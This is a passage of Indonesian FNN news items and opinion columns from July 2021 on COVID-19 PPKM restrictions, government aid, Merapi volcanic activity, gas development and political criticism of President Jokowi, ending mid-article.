Jakarta, FNN - Kementerian Kelautan dan Perikanan (KKP) memberikan bantuan sebanyak satu kapal pengawas ke Kelompok Sadar Konservasi Penyu Kampung Makimi, Kabupaten Nabire, Provinsi Papua, terkait dengan aktivitas mendukung pelestarian penyu di daerah tersebut. Plt. Dirjen Pengelolaan Ruang Laut KKP Hendra Yusran Siry dalam rilis di Jakarta, Kamis, menjelaskan pemberian bantuan itu menjadi stimulus kepada kelompok masyarakat agar lebih giat dan semangat melakukan kegiatan konservasi, sekaligus secara tidak langsung dapat membantu menggerakkan perekonomian di sana. "Sesuai arahan Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono bahwa di tengah keterbatasan akibat adanya pandemi yang melanda negara kita, segenap jajaran di Kementerian Kelautan dan Perikanan harus memberikan dukungan kepada kelompok masyarakat bergerak di bidang kelautan dan perikanan," ujarnya. Ia memaparkan pemberian bantuan ini telah melewati beberapa tahapan sesuai Keputusan Direktur Jenderal Pengelolaan Ruang Laut Nomor 8 Tahun 2021 tentang Petunjuk Teknis Penyaluran Bantuan Konservasi Tahun 2021. Beberapa tahapan tersebut seperti tahapan pengusulan kelompok calon penerima bantuan, verifikasi dan penetapan kelompok penerima bantuan hingga monitoring dan evaluasi ketika bantuan telah diserahkan. Kepala Loka Pengelolaan Sumberdaya Pesisir dan Laut (LPSPL) Sorong, Santoso Budi Widiarto menjelaskan Kelompok Sadar Konservasi Penyu Kampung Makimi selama ini melaksanakan kegiatan konservasi penyu di Pantai Makimi, Distrik Makimi dengan salah satu kegiatannya melakukan relokasi terhadap sarang yang terancam oleh abrasi maupun predator. Ia memaparkan total bantuan dengan nilai Rp94,49 juta berupa 1 unit kapal (longboat) untuk pengawasan, 1 unit mesin tempel 15 PK, 1 unit laptop, 1 unit printer, 5 unit pelampung, 3 unit senter kepala, 2 unit aerator, dan 2 unit kawat ram, sehingga kegiatan perlindungan dan pelestarian penyu di Kampung Makimi semakin baik dalam pelaksanaannya. "Bantuan yang diberikan seperti perahu longboat diharapkan dapat dioptimalkan pemanfaatannya untuk menunjang kegiatan kelompok melakukan pengawasan di pantai peneluran dan relokasi sarang penyu yang posisinya terancam agar lebih efektif dan efisien," ucapnya. Santoso menyampaikan bahwa KKP telah menyalurkan bantuan kepada 12 kelompok masyarakat di Maluku, Maluku Utara, Papua dan Papua Barat dalam kurun waktu 2018 hingga 2020 dengan nilai lebih dari Rp1 miliar. Ketua Kelompok Sadar Konservasi Penyu Makimi, Antonius Yoweni menyampaikan ucapan terima kasih yang sebesar-besarnya atas bantuan yang di berikan oleh Pemerintah melalui Loka PSPL Sorong, KKP. “Bantuan ini menjadi penyemangat untuk kami agar terus melakukan pelestarian penyu khususnya di pantai peneluran yang ada di Kampung Makimi, selain itu bantuan ini juga menjadi bukti pemerintah masih memperhatikan kami sebagai kelompok masyarakat penggerak konservasi yang ada di wilayah Indonesia Timur, khususnya Provinsi Papua," ucapnya. (mth)

Soal Penurunan Kasus Covid, GMNI Nilai Jokowi Berbohong

Jakarta, FNN - Pernyataan Presiden Joko Widodo saat mengumumkan perpanjangan PPKM Darurat dinilai telah membohongi rakyat. Ketua DPP GMNI Bidang Politik, Maman Silaban, mengungkap, pernyataan Jokowi yang menyebut pemberlakuan PPKM Darurat yang dimulai dari 3 Juli sampai 20 Juli 2021 menunjukkan adanya penurunan Bed Occupancy Ratio (BOR) dan penurunan kasus Covid-19 adalah kebohongan. Sebab, kata Maman, pernyataan itu bertolak belakang dengan apa yang disampaikan Jubir Satgas Penanganan Covid-19 Prof Wiku Adisasmito di akun YouTube Sekretariat Presiden, Selasa (20/7). Dalam pernyataan Wiku, disebutkan bahwa penambahan kasus Covid-19 masih mengalami peningkatan hingga dua kali lipat dengan jumlah kasus aktif 542.938 atau 18,65 persen, berdasarkan data yang mereka miliki. “Perbedaan ini membuat masyarakat merasa dibohongi. Apabila kebijakan PPKM Darurat selama dua minggu menurunkan penggunaan tempat tidur di rumah sakit atau Bed Occupancy Ratio (BOR) maka benar. Tetapi bila dikatakan pemberlakuan PPKM Darurat menurunkan kasus Covid-19, maka ini tidak tidak benar alias bohong,” tegas Maman Silaban melalui keterangan pers, Rabu (21/7). Melihat perbedaan itu, Maman berharap pemerintah harus benar-benar terbuka kepada masyarakat apa maksud dan tujuan dari diberlakukan PPKM Darurat ini, agar masyarakat dapat menelaah dan menerima kebijakan yang diambil pemerintah pusat terkait kondisi negara saat ini. Dalam penanganan Covid-19, Maman menilai kebijakan pemerintah pusat tidak satu tarikan napas dengan peraturan perundangan yang sudah mereka buat. “Pemerintah pusat seharusnya bertindak berdasarkan UU Kekarantinaan Kesehatan, yang mana di dalamnya sudah cukup lengkap mengatur langkah yang harus dilakukan pemerintah saat negara mengalami kondisi kedaruratan kesehatan masyarakat,” tukas Maman. Maman menegaskan apabila kebijakan pemerintah pusat dalam menangani pandemi berdasarkan UU Kekarantinaan Kesehatan, maka sudah jelas kebijakan tersebut pasti berasaskan perikemanusiaan, perlindungan, manfaat, keadilan, kepentingan umum, keterpaduan, kesadaran hukum dan kedaulatan negara. Baca Juga Jepang Mengevakuasi Warganya dari Indonesia, Muslim Arbi: Dunia Internasional Menilai Jokowi Gagal Mengatasi Covid-19 “Dalam UU Kekarantinaan Kesehatan sudah jelas manfaat dari penyelenggaraannya, yaitu untuk melindungi masyarakat dari penyakit dalam hal ini Covid-19 dan memberikan perlindungan dan kepastian hukum bagi masyarakat dan petugas kesehatan,” imbuh Maman. Maman menyebut, ketika itu dijadikan acuan mutlak dalam penanganan pandemi Covid-19, maka dapat dipastikan bahwasanya negara hadir dalam wujud kebijakan pemerintah pusat terhadap masyarakat. Namun apabila itu tidak dipedomani betul oleh pemerintah pusat beserta jajarannya, maka masyarakat akan terus mengalami darurat kesehatan dan kesulitan dalam menjalani kehidupannya.

Mendagri Terbitkan Instruksi PPKM Level 4 Jawa-Bali

Jakarta, FNN - Menteri Dalam Negeri Tito Karnavian menerbitkan instruksi tentang pemberlakuan pembatasan kegiatan masyarakat (PPKM) level 4 untuk wilayah Jawa dan Bali. Mendagri Tito Karnavian dalam Inmendagri Nomor 22/2021, di Jakarta, Rabu, menjelaskan instruksi dikeluarkan menindaklanjuti arahan Presiden Republik Indonesia yang menginstruksikan agar melaksanakan PPKM level 4 COVID-19 di wilayah Jawa dan Bali. "Sesuai dengan kriteria level situasi pandemik berdasarkan assesmen dan untuk melengkapi pelaksanaan Instruksi Menteri Dalam Negeri mengenai pembatasan kegiatan masyarakat berbasis mikro serta mengoptimalkan Posko penanganan COVID-19 di tingkat desa dan kelurahan untuk pengendalian penyebaran COVID-19," tulis Inmendagri. Pada instruksi kali ini ditetapkan sejumlah daerah yakni kabupaten dan kota dengan status level 3 atau 4 di wilayah Jawa dan Bali. Bagi daerah kabupaten dan kota yang tidak termasuk kategori berlevel 3 atau 4, tetap memberlakukan Instruksi Menteri Dalam Negeri yang menetapkan PPKM berbasis mikro dan mengoptimalkan posko penanganan COVID-19 di tingkat desa dan kelurahan untuk pengendalian penyebaran COVID-19. Pada Inmendagri kali ini juga dijelaskan aturan pembatasan, baik pembatasan kegiatan masyarakat maupun aturan kerja dari kantor ataupun kerja dari rumah.Inmendagri juga mengatur soal alokasi vaksin, mempercepat proses penyaluran bantuan sosial serta jaring pengaman sosial yang bersumber dari APBD, serta edukasi terkait COVID-19. Instruksi Menteri ini mulai berlaku pada 21 Juli 2021 sampai dengan tanggal 25 Juli 2021.(sws)

Menkumham, TKA Tak Bisa Masuk Indonesia Lagi

Jakarta, FNN - Menteri Hukum dan Hak Asasi Manusia (Menkumham) Yasonna Laoly mengatakan tenaga kerja asing yang sebelumnya datang ke Indonesia sebagai bagian dari proyek strategis nasional tidak lagi bisa masuk ke Indonesia. "Tenaga kerja asing yang sebelumnya datang sebagai bagian dari proyek strategis nasional atau dengan alasan penyatuan keluarga, kini tak bisa lagi masuk ke Indonesia," kata Menkumham Yasonna Laoly melalui keterangan tertulis yang diterima di Jakarta, Rabu. Hal tersebut diatur dalam Peraturan Menteri Hukum dan Hak Asasi Manusia (Permenkumham) Nomor 27 Tahun 2021 tentang Pembatasan Orang Asing Masuk ke Wilayah Indonesia Dalam Masa Pemberlakuan Pembatasan Kegiatan Masyarakat Darurat. Perluasan pembatasan orang asing yang masuk ke Indonesia ini dilakukan dalam rangka menekan penyebaran COVID-19. Kendati demikian, dalam Permenkumham tersebut disebutkan orang asing yang boleh masuk ke Indonesia hanya pemegang visa diplomatik dan visa dinas, pemegang izin tinggal diplomatik dan izin tinggal dinas, pemegang izin tinggal terbatas dan izin tinggal tetap. Kemudian orang asing dengan tujuan kesehatan dan kemanusiaan, serta awak alat angkut yang datang dengan alat angkutnya, kata Yasonna. Adapun Permenkumham ini sekaligus menggantikan Permenkumham Nomor 26 Tahun 2020 tentang Visa dan Izin Tinggal Dalam Masa Adaptasi Kebiasaan Baru. Di sisi lain, orang asing yang tergolong pengecualian dalam Permenkumham tersebut juga membutuhkan rekomendasi kementerian atau lembaga terkait untuk bisa masuk ke Tanah Air. Permenkumham Nomor 27 Tahun 2021 tidak lepas dari kesepakatan dengan Kementerian Luar Negeri (Kemenlu) dan perubahannya dari Permenkumham Nomor 26 Tahun 2020 yang juga melibatkan staf Kemenlu dan Kementerian Perhubungan. "Permenkumham Nomor 27 Tahun 2021 ini tak lepas dari koordinasi yang baik antara saya bersama Menteri Luar Negeri dan lembaga terkait lainnya," ujar dia. Kemenkumham, kata dia, juga akan melakukan koordinasi bersama kementerian dan lembaga terkait mengenai orang asing yang masih boleh masuk ke Indonesia sesuai aturan yang baru. Sebagai contoh, koordinasi dengan Kemenlu bila ada diplomat yang hendak masuk ke Indonesia dalam rangka tugas. Adapun orang asing yang masuk dengan tujuan kesehatan dan kemanusiaan, juga harus mendapatkan rekomendasi dari kementerian atau lembaga yang menyelenggarakan fungsi penanganan COVID-19. (sws)

Sebenarnya Jokowi Sudah Habis

By M Rizal Fadillah Bandung, FNN - Blunder kebijakan, keteladanan yang buruk, korupsi tak tertangani, ekonomi yang morat-marit, serta pandemi yang tidak teratasi menyebabkan Jokowi kehilangan harapan. Harapan atas kekuatan diri dan kepercayaan rakyat. Dari sisi mana kekuasaan akan bisa panjang? Tidak jelas dan sulit memastikan jawaban positif. Sebagai Presiden ia wajar untuk gundah dan gelisah. Masalah terdekat adalah pandemi yang terus meningkat. PPKM tidak menjadi solusi tetapi kontroversi. Rakyat tidak bisa menerima pembatasan ketat dan cenderung memilih untuk membangkang. Perpanjangan lima hari hanya upaya menambah waktu berfikir untuk meredam konflik pandangan yang terjadi di lingkaran dalam. Ada empat masalah besar yang menghabisi Jokowi, yaitu : Pertama, ya pandemi ini yang awalnya dianggap enteng dengan dana yang bisa dikeruk bebas melalui Perppu, kini meningkat signifikan. Program PSBB, PPKM mikro, dan PPKM Darurat gagal untuk mengatasi. Jokowi sangat ketakutan mengambil alih pimpinan penanganan karenanya dilempar saja kepada Luhut dan Airlangga. Kedua, kondisi ekonomi yang telah memacetkan investasi dan meroketkan hutang luar negeri. Ekonomi kecil pun terobrak-abrik. Perusahaan banyak tutup yang berefek pada peningkatan angka pengangguran. Omnibus sia-sia dan membuat pertumbuhan ekonomi terebus. Istana menyongsong krisis dengan banyak kasus. Ketiga pelanggaran HAM yang terus menghantui. Kasus pembunuhan enam laskar FPI sulit ditutupi. Skenario yang dibuat selalu mudah dibaca dan semakin terbuka. Buku Putih menjadi pintu masuk ke arah penghukuman dosa politik dan perilaku kriminal rezim. Hutang pelanggaran HAM terdahulu juga akan segera ditagih. Keempat, pemborgolan demokrasi dengan membungkam oposisi bukan solusi tetapi menjadi sebab dari goyangan politik berkelanjutan. Dukungan politik rakyat kepada Pemerintahan Jokowi terus menipis dan memudar. Hampir tak ada kebijakan politik yang disambut gembira. Terakhir revisi PP Statuta UI dicibir habis. Nah sebenarnya Jokowi itu sudah habis. Sulit untuk mengupgrade kewibawaan dan nama baik. Hanya dengan lompatan spektakuler yang dapat menyelamatkan. Namun sesuai dengan gaya kepemimpinan lambat, mengambang dan inkonsisten maka tak ada bayangan untuk lompatan spektakuler tersebut. Jokowi memang sudah habis. Hanya faktor keberuntungan saja yang membuat semua tertunda. *) Pemerhati Politik dan Kebangsaan

Keterlaluan, Biaya Tes PCR Rp900,000

By Asyari Usman Medan, FNN - Ada teman yang hasil tes swabnya positif Covid. Begitu juga istri dan ibu si istri. Karena positif, semua orang di rumah teman itu harus tes PCR yang berbiaya Rp900,000. Ada 6 orang yang wajib tes, dengan total biaya Rp5,400,000. Mereka bukanlah orang kaya dalam arti uang segitu tak seberapa. Terasa berat bagi mereka. Tapi diwajibkan untuk ambil tes PCR. Saya tanya apakah harus tes? Kenapa tidak isolasi mandiri saja? Plus konsumsi vitamin dan suplemen terus berjemur matahari jam 10. Kata teman itu, dokter mewajibkan tes PCR guna mengetahui tingkat CT virus. Yaitu, tingkat ketertularan. Bagi saya, biaya test PCR Rp900,000 itu keterlaluan mahalnya. Siapa pun yang melakukan tes ini, sungguh tidak punya hati. Semahal apakah rupanya alkes yang digunakan? Biaya yang begitu mahal ini terasa sekali komersialisasi tes PCR. Benar-benar gila. Tidak berlebihan kalau disebut mencari keuntungan sadis di tengah kesulitan rakyat. Pemerintah seharusnya menyediakan tes PCR tanpa biaya. Begitu juga tes-tes lainnya. Bukankah pemerintah wajib melindungi seluruh rakyat? Setelah ditelusuri, ternyata Kemenkes yang menetapkan semacam HET (harga eceran terringgi) tes PCR. Ini sangat memalukan. Bahkan banyak rumah sakit yang melanggar HET dimaksud. Artinya, membebankan biaya lebih dari Rp900,000. Pemerintah tak bisa mengemukakan alasan tak punya dana untuk menyediakan tes gratis di mana pun dilakukan. Di Puskesmas atau di RS swasta harus sama-sama gratis. Harus diadakan dananya. Ini untuk kepentingan rakyat. Mengapa untuk dikorupsi selalu ada duitnya?[] (Penulis wartawan senior FNN.co.id)

Pemkab Garut Siapkan Bantuan Uang Tunai bagi PKL yang Terdampak PPKM

Garut, FNN - Pemerintah Kabupaten Garut menyiapkan bantuan sosial berupa uang tunai bagi pedagang kaki lima (PKL) maupun penarik becak, kusir delman, dan masyarakat umum lainnya yang terdampak langsung oleh penerapan Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) di tengah pandemi COVID-19. "Ada APBD Garut, yang terdampak sekarang ini ada PKL, kusir delman, tukang becak, itu ada KTP dan kartu keluarga, agar didaftarkan," kata Bupati Garut Rudy Gunawan kepada wartawan di Garut, Rabu. Ia menuturkan Pemkab Garut memiliki anggaran yang dialokasikan pada program bantuan uang tunai bagi masyarakat maupun pekerja jalanan yang terdampak diterapkannya PPKM. Pemkab Garut, lanjut dia, telah memikirkan berbagai dampak dari diterapkannya PPKM sejak 3 sampai 20 Juli, kemudian diperpanjang sampai 25 Juli 2021, salah satunya perhatian memberikan bantuan uang. "Dari APBD akan mengeluarkan bantuan sosial antara Rp200 sampai Rp250 ribu per orang per keluarga," katanya. Bupati menyampaikan bantuan uang tunai itu secepatnya dibagikan kepada masyarakat sesuai data dan persyaratan yang sudah ditentukan dengan target selesai Jumat (23/7). "Bisa diselesaikan hari ini dan hari Jumat terakhir," katanya. Sebelumnya, Pemkab Garut telah beberapa kali menyalurkan bantuan dari pemerintah pusat seperti beras, dan juga kebutuhan pokok pangan bagi masyarakat kurang mampu. (mth)

Reisa Kemukakan Tiga Perilaku Bertanggungjawab Saat Pandemi

Jakarta, FNN - Juru Bicara Pemerintah untuk COVID-19 Reisa Broto Asmoro mengemukakan tiga perilaku individu yang bertanggungjawab dalam menyikapi situasi pandemi di Tanah Air. "Ada tiga langkah yang bisa dilakukan sebagai individu yang bertanggungjawab dan ingin ke luar dari situasi darurat ini," kata Reisa Broto Asmoro saat menyampaikan keterangan pers PPKM di kanal YouTube FMB9 yang dipantau dari Jakarta, Rabu. Perilaku pertama adalah melindungi diri dengan taat pada protokol kesehatan yang berlaku, seperti menjaga jarak, memakai masker serta mencuci tangan (3M). "Jangan menjadi kasus baru, praktikkan dengan disiplin ketat semua protokol kesehatan sekarang juga bersama-sama," katanya. Seorang individu yang bertanggungjawab, kata Reisa, selalu berupaya mengurangi intensitas ke luar rumah atau menurunkan mobilitas dan menjauhi kerumunan karena pembawa virus ini adalah manusia, semakin banyak manusia berkumpul di satu tempat semakin besar kemungkinan virus menyebar. Perilaku kedua, kata Reisa, apabila terkonfirmasi positif tidak perlu panik dan berebut ruang ICU di rumah sakit. Laporkan ke Puskesmas atau Satgas setempat apabila gejala ringan, gunakan telemedisin dan tunggu bantuan datang. “Ingat anda tidak sendirian, kita akan saling membantu, dirawat di rumah sakit atau tidak adalah keputusan dokter,” katanya. Reisa mengingatkan, apabila sedang menjalani isolasi mandiri maka perlu secara rajin untuk mengukur saturasi oksigen, suhu tubuh dan tensi darah dengan tetap berkonsultasi bersama dokter dan keluarga lewat saluran virtual. "Apabila terjadi pemburukan kondisi badan, komunikasi yang rutin akan memastikan bantuan cepat datang dan anda akan tertolong dengan segera," ujarnya. Ketiga, lanjut Reisa, apabila kontak erat, laporkan segera ke Puskesmas pastikan diri dites, berani, dan bertanggung jawab. "Ketahui dengan pasti kondisi tubuh agar tidak menjadi sumber penularan yang tak diduga orang lain. Apabila negatif bisa membantu tim lacak atau tim tracing memastikan aman dari penularan," katanya. Menurut Reisa, langkah pertama akan berkontribusi mengurangi jumlah konfirmasi dan mengurangi angka kematian, menurunkan laju penularan secara drastis. Langkah kedua akan menurunkan beban rumah sakit dan meningkatkan angka kesembuhan. Sementara langkah ketiga, kata Reisa, membantu kabupaten dan kota mencapai target testing dan tracing yang diamanatkan Kementerian Kesehatan dan Kementerian Dalam Negeri. "Kombinasi ketiganya membantu kabupaten dan kota anda keluar dari PPKM Darurat," katanya. (mth)

Gunung Merapi Meluncurkan Guguran Lava Sejauh 1.200 Meter

Jogjakarta, FNN - Balai Penyelidikan dan Pengembangan Teknologi Kebencanaan Geologi menyebutkan Gunung Merapi di perbatasan Daerah Istimewa Jogjakarta dan Jawa Tengah empat kali mengeluarkan guguran lava dengan jarak maksimum sejauh 1.200 meter ke arah barat daya pada Rabu mulai pukul 12.00 sampai 18.00 WIB. Menurut Kepala Balai Penyelidikan dan Pengembangan Teknologi Kebencanaan Geologi (BPPTKG) Hanik Humaida, selama periode pengamatan itu Merapi juga mengalami 57 kali gempa guguran dengan amplitudo 4-17 mm selama 21-113 detik, lima kali gempa hembusan dengan amplitudo 3-5 mm selama 14-25 detik. Berikutnya 23 kali gempa hybrid atau fase banyak dengan amplitudo 3-22 mm selama 5.4-8 detik, dan sembilan gempa vulkanik dangkal dengan amplitudo 27-75 mm selama 8.7-17.2 detik. Selama pengamatan itu, asap berwarna putih juga terpantau keluar dari Gunung Merapi dengan intensitas tebal setinggi 150 meter di atas puncak. BPPTKG masih mempertahankan status Gunung Merapi pada Level III atau Siaga. Guguran lava dan awan panas Merapi diperkirakan berdampak pada wilayah sektor selatan-barat daya, yang meliputi Sungai Kuning, Boyong, Bedog, Krasak, Bebeng, dan Putih. Apabila terjadi letusan, lontaran material vulkanik dari Gunung Merapi dapat menjangkau radius tiga km dari puncak gunung. (mth)

SKK Migas Setujui Pengembangan Blok Madura Strait Rp1,7 triliun

Jakarta, FNN - SKK Migas memberikan persetujuan rencana pengambangan Blok Madura Strait di Jawa Timur yang dioperasikan Husky CNOOC Madura Limited (HCML) dengan menggarap potensi cadangan gas sebanyak 38,04 BSCF. HCML mengajukan permohonan rencana pembangunan pada 24 Juni 2021. Kemudian, SKK Migas memberikan persetujuan atas usulan tersebut pada 19 Juli 2021. "Persetujuan ini menghasilkan komitmen dari operator Husky-CNOOC Madura Limited untuk mengembangkan Lapangan MBF di wilayah kerja Madura Strait dengan investasi sekitar 88 juta dolar AS atau sekitar Rp1,3 triliun," kata Pelaksana Tugas Deputi Perencanaan SKK Migas Julius Wiratno dalam keterangannya di Jakarta, Rabu. Julius menambahkan bahwa investasi itu akan ikut menggerakkan ekonomi nasional, terkhusus Jawa Timur karena mendapatkan tambahan sumber gas untuk kebutuhan di masa depan. Dia juga merinci investasi tersebut akan digunakan untuk pengeboran deepening dua sumur pengembangan MBF-A1 dan MBF-A2. Kemudian, pembangunan well head platform, pembangunan pipeline menuju fasilitas produksi MDA-MBH, serta modifikasi fasilitas lapangan produksi MDA-MBH (install riser balcony and re-arrange or modification top side sesuai spesifikasi pipeline MBF). Persetujuan rencana pembangunan Blok Madura Strait akan memberikan peningkatan capaian reserve replacement ratio pada Juli 2021. Berdasarkan data SKK Migas tambahan cadangan terbukti hulu minyak dan gas sejak Januari hingga Juni 2021 sebanyak 131,2 juta BOEPD, sehingga reserve replacement ratio menjadi 21 persen. “Dengan persetujuan plan of development Blok Madura Strait, maka reserve replacement ratio meningkat menjadi 22 persen," kata Julius. Lapangan MBF di Blok Madura Strait diproyeksikan akan onstream pada kuartal III 2023. Laju produksi awal akan mencapai 10,05 juta kaki kubik (MMSCFD) dengan laju produksi puncak sebesar 24 MMSCFD pada tahun 2024. Lapangan itu diperkirakan dapat berproduksi selama 10 tahun dan menjadi salah satu lapangan untuk menutup kebutuhan Jawa Timur dan berkontribusi pada upaya peningkatan produksi gas nasional sebesar 12 BSCFD pada tahun 2030. (mth)

Kemenkeu: UU Otsus Papua Baru Atur Pengelolaan Dana Lebih Komprehensif

Jakarta, FNN - Direktur Jenderal Perimbangan Keuangan Kementerian Keuangan Astera Primanto menyebutkan Undang-Undang (UU) Nomor 2 tahun 2021 tentang Otonomi Khusus (Otsus) Papua mengatur pengelolaan dana otsus menjadi lebih komprehensif dibandingkan sebelumnya. "Mulai dari perencanaannya akan ada namanya grand design yang melibatkan pemerintah pusat dan pemerintah daerah sehingga ada sinergi," ujar Astera dalam Konferensi Pers APBN KITA di Jakarta, Rabu. Selain itu, ia menambahkan, akan ada pengawasan yang lebih komprehensif terhadap penyaluran dana otsus Papua oleh Kementerian/Lembaga terkait, serta melibatkan Dewan Perwakilan Rakyat (DPR), Dewan Perwakilan Rakyat Daerah (DPRD), dan perguruan tinggi. Astera menjelaskan, skema penyaluran dana otsus dalam UU Otsus Papua terbaru tersebut juga akan lebih memperhatikan kinerja dan alokasinya ditingkatkan dari 2 persen dari Dana Alokasi Umum (DAU) menjadi 2,25 persen. Lebih lanjut, alokasi tersebut akan terbagi menjadi 1 persen berbentuk dana block grant, sementara sebesar 1,25 persen berupa specific grant yang ditujukan untuk pendidikan dan peningkatan kesejahteraan orang asli Papua. Sebelumnya, Menteri Dalam Negeri Tito Karnavian dalam Rapat Panitia Khusus bersama DPR di Jakarta, Kamis (24/06/2021) menyebutkan, dana otsus sangat bermanfaat bagi pembangunan Papua karena 60 persen pembangunan di sana berasal dari dana otsus. Adapun dana otsus Papua berakhir pada tahun 2021 dan telah diperpanjang melalui UU Nomor 2 tahun 2021 untuk 20 tahun ke depan. (mth)

Rakyat Buntung, Ada Yang Ambil Untung

Oleh Tony Rosyid Jakarta, FNN - Soal covid, ada yang percaya, tapi cukup banyak yang gak percaya. Kabarnya ada 17 persen. Mau dijejali data kayak apapun, susah percaya. Orang-orang macam ini memang merepotkan. Gak peduli pada prokes. Bodoh amat, katanya. Ada yang setengah percaya. "fakta ada, tapi banyak manipulasinya. Data dilebih-lebihkan" katanya. "Hidup mati Tuhan yang menentukan, kenapa takut covid", tambahnya. Repot juga ngadepin orang-orang macam ini. Ada yang 100 persen percaya, tapi hari-hari lapar. Kalau gak keluar, gak bisa makan. Sementara, hidup mereka gak ada yang jamin. Kelompok ini paling banyak. Cash Flow-nya harian. Hari itu dapat duit, hari itu juga buat makan. Gak dapat duit? Kelaparan! Inilah para pedagang kecil yang berpotensi menciptakan gejolak sosial. Bicara kelaparan, gak pandang bulu pendukung siapa. Urusan perut, ini soal hidup mati. Mazhab politik gak berlaku. Disinilah pentingnya bantuan dan jaminan sosial. Harus segera, tepat waktu, cukup untuk hidup dan merata. "Yang ditertibkan itu kerumunannya, bukan dagangannya", kata salah seorang bupati. Cerdas! PPKM memang aturan pusat, tapi kepala daerah mesti "ijtihad" untuk menerjemahkan aturan itu di lapangan. Kalau hantam kromo, bisa menimbulkan gejolak sosial. Enak bagi yang punya gaji bulanan, atau yang masih ada tabungan. Pandemi memang ngaruh, tapi gak bikin mereka kelaparan. Dapur tetap ngebul, karena simpanan masih ada. Di tengah kas negara jebol, ekonomi terkonstraksi, banyak rakyat yang kelaparan, tapi ada yang beruntung. Jumlahnya sangat kecil. Apakah dana simpanan nasabah di bank bertambah jadi 666,7 trilliun dan jumlah orang kaya di Indonesia naik hingga 61,69 persen berasal dari sini? Mesti perlu dicek datanya. Siapa mereka? pemilik rumah sakit dan klinik, pengusaha obat-obatan, penjual suplemen, pedagang APD, mereka yang mendapat proyek bansos. Semuanya diuntungkan di masa pandemi. Pundi-pundi kekayaan semakin berlimpah. Ini hukum pasar. Demand naik, pasar ramai, otomatis keuntungan makin besar. Sesuatu yang alamiah. Yang gak alamiah ketika rumah sakit mengcovidkan pasien yang tidak covid, pedagang obat yang menaikkan harga obat gak kira-kira, pengusaha yang berkolaborasi di proyek APD dan bansos untuk maling uang negara. Ini yang jadi masalah. Ada minuman suplemen, diopinikan meningkatkan imun, diburulah oleh para pembeli. Rakyat "kelas tertentu" berlomba memborongnya. Hitungan hari, minuman itu hilang dari peredaran. Di super market dan mini maret mulai langka. Beberapa hari kemudian muncul, tapi harga di pasaran sudah naik 30-40 persen. Gila! Rakyat makin tercekik. Kerja keras pemerintah dan ketaatan rakyat terhadap prokes terciderai. Tidak sedikit yang lalu mengekspresikan kekecewaan dan kemarahannya dengan sikap dan tindakan yang tidak tepat. Apalagi dalam situasi galau seperti ini, mereka dipertontonkan video sejumlah oknum pejabat publik yang plesiran. Makin sakit, katanya. Dalam kondisi pemerintah dan rakyat yang sedang buntung, tega-teganya "seenak wudele" mereka ambil untung! Boro-boro berkurban untuk rakyat, rasa empati aja gak ada! Sungguh tak punya perasaan. Kepada mereka, negara mesti tegas: tertibkan! Orang-orang seperti mereka yang membuat bangsa ini sulit untuk kompak. Padahal, pandemi mestinya membuat kita makin kompak. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Kenapa NU Harus Berpolitik

Oleh Gus Aam Wahib Wahab Jakarta, FNN - Orang-orang NU butuh berpolitik. Para kyai tidak bisa dilepaskan dari kegiatan politik. Menurut salah satu pendiri NU KH Wahab Chasbullah politik bagi orang NU itu ibarat air dan teh. Mustahil dipisahkan. Pengurus NU, orang-orang NU, anak-anak muda NU harus mengerti dan menyadari bahwa NU yang dianut masyarakat kita menggarisbawahi satu tanggung jawab sangat substantif dalam berpolitik dan bernegara. Yang kini hilang yaitu : tanggung jawab : pemenuhan kemaslahatan, pemenuhan kesejahteraan dan kebutuhan jaminan keamanan secara fisik, bathin, Individual, dan kolektif. Pemerintah seharusnya memenuhi kebutuhan masyarakat, Memenuhi kesejahteraan masyarakat, Menjamin ketertiban kehidupan rakyat serta membentengi gangguan dari dalam maupun musuh dari luar. Apalagi dalam wadah NKRI Inilah ide negara yang diperjuangkan para pendiri NU melalui "Resolusi Jihad 1945", yakni negara sebagai sarana untuk melengkapi dan mewujudkan kemaslahatan umat manusia. Di kalangan kyai dikenal dengan istilah tasharruful Iman ala rraiyyah manu thun bil maslahah (kebijakan seorang penguasa kepada rakyatnya ditujukan untuk memenuhi kemaslahatan dan kesejahteraan masyarakatnya). Ada 3:tujuan penting dari strategis bernegara yang menjiwai hakikat peme rintah yang dibela dan diperjuangkan oleh orang-orang NU. Pertama, siapapun yang berkuasa harus senantiasa melindungi sumber kehidupan yang paling asasi. Kedua, menjaga negeri ini dari berbagai macam gangguan dari dalam maupun luar. Ketiga, kewajiban memelihara tradisi beragama - kebu dayaan bangsa kita Inilah yang dimaksud NU berpolitik pada level kebangsaan politik tingkat tinggi. Penulis adalah Ketum KKNU 1926 / NU KHITTAH.

Pandemi Corona Mengakibatkan Masyarakat Rentan Menyalahgunakan Narkotika

Jakarta, (FNN) - Kepala Badan Narkotika Nasional (BNN) Komisaris Jenderal Petrus Reinhard Golose mengingatkan jajarannya agar mengantisipasi sedini mungkin dampak sosial dari pandemi Covid-19, yakni kemiskinan dan kesehatan yang berpotensi membuat masyarakat rentan menyalahgunakan narkotika. "Kita harus antisipasi khususnya di kalangan generasi muda. Kita juga harus bisa menghadapi tantangan pemasaran narkotika melalui dark web," kata Reinhard Golose seusai melantik sepuluh pejabat pimpinan tinggi pratama di lingkungan BNN pusat maupun daerah melalui keterangan tertulis yang diterima di Jakarta, Rabu, 21 Juli 2021. Ia mengingatkan, dalam situasi pandemi Covid-19 BNN harus tetap bekerja optimal sesuai tugas yang diamanahkan negara, yakni penanggulangan narkotika di tanah air. Oleh karena itu, penting bagi setiap personel di BNN untuk meningkatkan kemampuan diri terutama dalam hal penguasaan teknologi dan informasi. Penekanan itu dilatarbelakangi adanya data peningkatan penggunaan ganja sebanyak 42 persen dari 77 negara di dunia berdasarkan hasil survey of health professionals. Pada kesempatan itu, ia kembali mengingatkan pentingnya mengobarkan semangat perang melawan narkoba guna mewujudkan Indonesia bersinar dan bebas dari narkotika. Sepuluh pejabat pimpinan tinggi pratama yang dilantik oleh Kepala BNN, yakni Kenedy sebagai Direktur Intelijen Deputi Bidang Pemberantasan BNN RI, Robinson D.P. Siregar sebagai Kepala Badan Narkotika Nasional Provinsi (BNNP) Riau, Toga Habinsaran Panjaitan sebagai Kepala BNNP Sumatera Utara. Selanjutnya, Kepala BNNP Bengkulu ditempati oleh Supratman, Jafriedi sebagai Direktur Advokasi Deputi Bidang Pencegahan BNN RI, Edi Swasono sebagai Kepala BNNP Lampung, Roy Hardi Siahaan Kepala BNNP Kalimantan Tengah, Tjatur Abrianto sebagai Kepala BNNP Papua. Kemudian, 